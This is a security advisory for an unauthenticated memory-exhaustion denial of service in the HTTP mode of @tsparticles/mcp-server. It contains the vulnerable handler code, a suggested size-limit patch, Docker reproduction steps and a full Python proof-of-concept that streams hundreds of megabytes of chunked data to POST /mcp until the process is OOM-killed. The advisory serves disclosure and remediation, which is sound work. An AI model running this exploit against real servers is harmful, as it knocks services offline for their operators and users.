Vulnerability GHSA-447x-qqwf-m7xq

Summary

The HTTP server mode of @tsparticles/mcp-server accumulates all incoming request body chunks into an in-memory Buffer[] array with no size limit before calling JSON.parse. An unauthenticated remote attacker can stream an arbitrarily large body to POST /mcp, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (--port 3000 on 0.0.0.0), making this exploitable without any special configuration in containerized deployments.

Details

The vulnerability exists in integrations/mcp-server/src/index.ts at lines 399–407. The POST /mcp request handler resolves a Promise that pushes every incoming data chunk into a Buffer[] array without checking the cumulative size, a Content-Length header, or any other guard:

// integrations/mcp-server/src/index.ts:399-407
if (req.method === "POST" && req.url === "/mcp") {
  const body = await new Promise<string>((resolve, reject) => {
    const chunks: Buffer[] = [];
    req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));  // no size guard
    req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
    req.on("error", reject);
  });

  const parsedBody = body ? JSON.parse(body) : undefined;

The complete data flow leading to exploitation:

1. index.ts:390 — HTTP server is created.
2. index.ts:399 — POST /mcp branch is entered; no authentication is performed.
3. index.ts:401-403 — Every chunk is appended to chunks[] without any byte-count check.
4. index.ts:407 — The concatenated buffer is passed to JSON.parse.
5. index.ts:416 — The server listens on 0.0.0.0, exposing it on all network interfaces.

There is no Content-Length validation, no body-size middleware, and no 413 Payload Too Large response in the server source. The official Dockerfile (integrations/mcp-server/Dockerfile) sets CMD ["node", "dist/index.js", "--port", "3000"], meaning Docker deployments run in HTTP mode by default without any additional opt-in.

A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:

--- a/integrations/mcp-server/src/index.ts
+++ b/integrations/mcp-server/src/index.ts
@@
 import { createServer } from "node:http";
 import { randomUUID } from "node:crypto";

 const PACKAGE_VERSION = "0.1.0";
+const maxRequestBodyBytes = 1024 * 1024;
@@
     if (req.method === "POST" && req.url === "/mcp") {
       const body = await new Promise<string>((resolve, reject) => {
         const chunks: Buffer[] = [];
-        req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));
+        let received = 0;
+        req.on("data", (chunk) => {
+          received += chunk.length;
+          if (received > maxRequestBodyBytes) {
+            req.destroy(new Error("Request body too large"));
+            return;
+          }
+          chunks.push(Buffer.from(chunk));
+        });
         req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
         req.on("error", reject);
       });

PoC

Environment setup:

# Build the Docker image from the repository root
docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t vuln001-mcp \
  /path/to/tsparticles-repo

# Run with a 256 MB memory cap (matching the dynamic reproduction)
docker run -d \
  -p 127.0.0.1:3000:3000 \
  --memory=256m --memory-swap=256m \
  --name vuln001-mcp \
  vuln001-mcp

Exploit (Python PoC — poc.py):

The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its Buffer[] array.

python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp

Equivalent minimal request:

import socket

s = socket.create_connection(("127.0.0.1", 3000))
headers = (
    "POST /mcp HTTP/1.1\r\n"
    "Host: 127.0.0.1:3000\r\n"
    "Content-Type: application/json\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Connection: close\r\n\r\n"
).encode()
s.sendall(headers)

prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n")

chunk = b"A" * (1024 * 1024)  # 1 MB per write
for _ in range(300):           # stream 300 MB total
    s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")

Expected result:

• Baseline memory usage: ~24.9 MiB / 256 MiB.
• After ~209 MB received, the server-side BrokenPipeError occurs as Docker's OOM-killer terminates the process.
• docker inspect vuln001-mcp shows State.OOMKilled = true and State.Status = exited.

Dynamic reproduction confirmed: OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB.

Impact

An unauthenticated remote attacker who can reach the POST /mcp HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required.

In the default Docker deployment (CMD ["node", "dist/index.js", "--port", "3000"]), the server binds to 0.0.0.0:3000, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default.

The vulnerability is a Denial of Service (DoS) — confidentiality and integrity are not directly affected. Recovery requires restarting the container.

Reproduction artifacts

Dockerfile

# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
# Build context must be the repository root so COPY paths resolve correctly.
# Build:  docker build -f vuln-001/Dockerfile -t vuln001-mcp .
# Run:    docker run -d -p 127.0.0.1:3000:3000 \
#                    --memory=256m --memory-swap=256m \
#                    --name vuln001-mcp vuln001-mcp

# --- Stage 1: compile TypeScript ---
FROM node:22-alpine AS build

WORKDIR /build

# Copy only the mcp-server package (avoids pulling the entire monorepo)
COPY integrations/mcp-server/package.json  ./package.json
COPY integrations/mcp-server/tsconfig.json ./tsconfig.json
COPY integrations/mcp-server/src/          ./src/

# Install all deps (devDeps needed for TypeScript compiler)
RUN npm install --no-audit --no-fund

# Compile TypeScript -> dist/
RUN npx tsc

# --- Stage 2: minimal runtime image ---
FROM node:22-alpine

WORKDIR /app

# Copy compiled JS and production node_modules
COPY --from=build /build/dist          ./dist
COPY --from=build /build/node_modules  ./node_modules

EXPOSE 3000

# Start HTTP mode on port 3000 — identical to the official Dockerfile CMD.
# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.
CMD ["node", "dist/index.js", "--port", "3000"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
Repository : tsparticles/tsparticles
Version    : 4.3.0 (commit eb2d299)
CWE        : CWE-400 — Uncontrolled Resource Consumption
CVSS       : 7.5 High  (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
File       : integrations/mcp-server/src/index.ts:399-407

Vulnerability:
    The POST /mcp handler resolves a Promise that accumulates every data chunk
    into a Buffer[] array without any Content-Length or size guard, then calls
    Buffer.concat() and JSON.parse() on the full body.  An unauthenticated
    remote attacker can exhaust the server's memory by streaming an arbitrarily
    large body.

    Source (index.ts:399-407):
        if (req.method === "POST" && req.url === "/mcp") {
          const body = await new Promise<string>((resolve, reject) => {
            const chunks: Buffer[] = [];
            req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));  // no guard
            req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
            req.on("error", reject);
          });
          const parsedBody = body ? JSON.parse(body) : undefined;

Exploit strategy:
    Stream a large body via chunked transfer encoding so the Python process
    itself needs only O(chunk) memory.  The Node.js server accumulates every
    chunk in its Buffer array.  With a Docker memory cap of 256 MB the container
    is OOM-killed once the buffered data exceeds available RAM, producing
    OOMKilled=true — an unambiguous, observable indicator.

Usage:
    python3 poc.py [--host 127.0.0.1] [--port 3000]
                   [--mb 300] [--container vuln001-mcp]
"""

import argparse
import socket
import subprocess
import sys
import time


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def parse_args():
    p = argparse.ArgumentParser(description="VULN-001 PoC — unbounded body buffering")
    p.add_argument("--host",      default="127.0.0.1", help="Server host")
    p.add_argument("--port",      type=int, default=3000, help="Server port")
    p.add_argument("--mb",        type=int, default=300, help="Payload size in MB")
    p.add_argument("--container", default="vuln001-mcp", help="Docker container name")
    return p.parse_args()


def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
    """Poll TCP until the server accepts connections or timeout expires."""
    deadline = time.time() + timeout
    print(f"[*] Waiting for server at {host}:{port}  (timeout={timeout}s) ...", flush=True)
    while time.time() < deadline:
        try:
            s = socket.create_connection((host, port), timeout=1)
            s.close()
            print("[+] Server is ready", flush=True)
            return True
        except OSError:
            time.sleep(0.5)
    print("[-] Timed out waiting for server")
    return False


def container_info(name: str) -> tuple[str, str, str]:
    """Return (status, mem_usage, oom_killed) strings for a Docker container."""
    status, oom = "unknown", "unknown"
    try:
        r = subprocess.run(
            ["docker", "inspect", "--format",
             "{{.State.Status}}|{{.State.OOMKilled}}", name],
            capture_output=True, text=True, timeout=5,
        )
        if r.returncode == 0:
            parts = r.stdout.strip().split("|")
            status = parts[0] if len(parts) > 0 else "unknown"
            oom    = parts[1] if len(parts) > 1 else "unknown"
    except Exception as exc:
        status = f"error({exc})"

    mem = "N/A"
    try:
        r2 = subprocess.run(
            ["docker", "stats", "--no-stream", "--format", "{{.MemUsage}}", name],
            capture_output=True, text=True, timeout=5,
        )
        mem = r2.stdout.strip() or "N/A"
    except Exception:
        pass

    return status, mem, oom


# ---------------------------------------------------------------------------
# Core exploit
# ---------------------------------------------------------------------------

def stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]:
    """
    Open a single TCP connection and stream a large body using chunked TE.

    Using chunked transfer encoding keeps this Python process's memory usage
    at O(1-MB chunk) while forcing the Node.js server to accumulate every
    received chunk in its Buffer[] array — the vulnerable code path.

    Returns:
        server_closed  — True if the server reset the connection mid-stream
        bytes_sent     — total body bytes sent
        response       — first bytes of the HTTP response (may be empty)
    """
    s = socket.create_connection((host, port))

    headers = (
        f"POST /mcp HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Type: application/json\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode()
    s.sendall(headers)

    def send_chunk(data: bytes) -> None:
        s.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")

    # Begin a JSON body prefix (the server buffers everything before parsing)
    prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
    send_chunk(prefix)
    bytes_sent = len(prefix)

    chunk_size = 1024 * 1024   # 1 MB per TCP write
    filler     = b"A" * chunk_size
    target     = total_mb * 1024 * 1024
    server_closed = False

    while bytes_sent < target:
        remaining = target - bytes_sent
        chunk = filler[: min(chunk_size, remaining)]
        try:
            send_chunk(chunk)
            bytes_sent += len(chunk)
            mb_done = bytes_sent // (1024 * 1024)
            if mb_done % 50 == 0:
                print(f"[*]   {mb_done}/{total_mb} MB streamed ...", flush=True)
        except (BrokenPipeError, ConnectionResetError, OSError) as exc:
            print(f"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}",
                  flush=True)
            server_closed = True
            break

    if not server_closed:
        try:
            send_chunk(b'"}')
            s.sendall(b"0\r\n\r\n")  # final (empty) chunk = end of chunked body
        except OSError:
            server_closed = True

    response = b""
    if not server_closed:
        s.settimeout(5)
        try:
            response = s.recv(4096)
        except OSError:
            pass

    try:
        s.close()
    except OSError:
        pass

    return server_closed, bytes_sent, response


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main() -> bool:
    args = parse_args()

    print("=" * 65)
    print("VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server")
    print(f"Target  : http://{args.host}:{args.port}/mcp   (no auth)")
    print(f"Payload : {args.mb} MB  (no Content-Length or body-size guard)")
    print(f"Monitor : Docker container '{args.container}'")
    print("=" * 65)

    if not wait_for_server(args.host, args.port):
        print("[FAIL] Server did not become available")
        return False

    # --- baseline ---
    status_before, mem_before, _ = container_info(args.container)
    print(f"\n[*] Baseline  status={status_before}  memory={mem_before}")

    # --- exploit ---
    print(f"\n[*] Streaming {args.mb} MB body to POST /mcp ...", flush=True)
    t0 = time.time()
    server_closed, bytes_sent, response = stream_large_body(
        args.host, args.port, args.mb
    )
    elapsed = time.time() - t0

    time.sleep(2)   # allow Docker stats to refresh

    status_after, mem_after, oom_killed = container_info(args.container)

    print(f"\n[*] Transfer       : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s")
    print(f"[*] Server closed  : {server_closed}")
    print(f"[*] HTTP response  : {response[:200]!r}")
    print(f"[*] Container      : status={status_after}  OOMKilled={oom_killed}")
    print(f"[*] Memory before  : {mem_before}")
    print(f"[*] Memory after   : {mem_after}")

    # --- verdict ---
    if oom_killed == "true":
        print("\n[PASS] OOMKilled=true — Docker OOM-killed the container")
        print("       The Node.js process was killed because it buffered the full")
        print("       request body in memory (no size guard in POST /mcp handler).")
        return True

    if status_after in ("exited", "dead"):
        print(f"\n[PASS] Container exited (status={status_after}) after receiving"
              f" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed")
        return True

    if not server_closed and status_after == "running":
        print(f"\n[PASS] {args.mb} MB body fully accepted — no size limit enforced")
        print(f"       Memory before: {mem_before}  |  after: {mem_after}")
        print("       CWE-400 confirmed: unbounded buffering without authentication")
        return True

    if server_closed:
        print(f"\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB")
        print("          Server may have crashed internally; check docker logs.")
        # Still consider PASS if container is dead
        if status_after not in ("running",):
            return True
        return False

    print("\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually")
    return False


if __name__ == "__main__":
    ok = main()
    sys.exit(0 if ok else 1)